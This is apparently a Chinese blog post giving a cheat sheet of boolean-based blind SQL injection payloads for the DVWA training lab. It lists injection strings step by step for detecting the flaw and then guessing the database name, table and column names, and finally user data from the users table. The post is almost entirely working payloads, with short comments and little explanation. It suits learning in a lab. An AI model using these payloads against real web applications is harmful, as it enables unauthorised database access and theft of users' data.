SQL布尔盲注常用语句

过程

1.判断是否存在注入,注入字符型还是数字型
2.猜解当前数据库名 数据库长度→库名
3.数据库中的表名 几个表→长度→名称
4.表中的字段名 字段个数→长度→名称
5.数据

  1. 判断

1’ and ‘1’=‘1
1’ and ‘1’='2

2.库名

1’ and length(database())>3#
1’ and length(database())=5 #

1’ and mid(database(),1,1)=‘d’ # 判断单个字符
1’ and substr(database(),1,1)=‘d’ # 判断单个字符
1’ and ord(substr((select database()),1,1))=98 # 使用ascii码判断单个字符
1’ and ascii(substr((select database()),1,1))=98 # 使用ascii判断单个字符
1’ and left(database(),4)=‘dvwa’ # 判断一个字符串,即多个字符

3.表名

1’ and 1=((select count() from information_schema.tables where table_schema=‘dvwa’) < 3) #
1’ and 1=((select count(
) from information_schema.tables where table_schema=‘dvwa’)=2)#

1’ and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))=6 # limit 0,1 表示取从0开始的前1个,即第1个
1’ and length((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1))=3# 第2个表名的长度

1’ and mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1,1)=‘u’ # dvwa数据库中第1个表的第1个字符是否为u

1’ and mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1,1)=‘u’ # dvwa数据库中第2个表的第1个字符是否为u

1’ and mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),2,1)=‘s’ # dvwa数据库中第2个表的第2个字符是否为s

1’ and left((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),5)=‘users’ # dvwa数据库中第2个表名是否为users

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1,1))=101 # dvwa数据库中第1个表中第1字符的ascii码是否为101

4.列名

列数

1’ and 1=((select count() from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’)=6) # 猜测dvwa数据中users表中是否有6个字段
1’ and 1=((select count(
) from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’)<7) #

猜解列长度
1’ and length((select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’ limit 0,1))>2 # dvwa数据库中users表中第一个字段长度是否大于2
1’ and length((select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’ limit 3,1))=4 # dvwa数据库中users表中第四个字段名长度是否为4

猜解列名
1’ and mid((select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’ limit 0,1),1,1)=‘u’ # dvwa数据库中users表中第1个字段的第1个字符是否为u
1’ and mid((select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’ limit 0,1),2,1)=‘u’ # dvwa数据库中users表中第1个字段的第2个字符是否为u
1’ and mid((select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’ limit 1,1),1,1)=‘u’ # dvwa数据库中users表中第2个字段的第1个字符是否为u

5.数据

数据长度
1’ and length((select user from dvwa.users limit 0,1))=5 # dvwa数据库中users表中user字段中第1数据的长度是否为5
1’ and length((select user from dvwa.users limit 1,1))=5 # dvwa数据库中users表中user字段中第2数据的长度是否为5

猜数据
1’ and mid((select user from dvwa.users limit 0,1),1,1)=‘a’ # dvwa数据库users表中user字段中第1个数据中的第1个字符是否为a
1’ and mid((select user from dvwa.users limit 0,1),2,1)=‘d’ # dvwa数据库users表中user字段中第1个数据中的第2个字符是否为d

  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值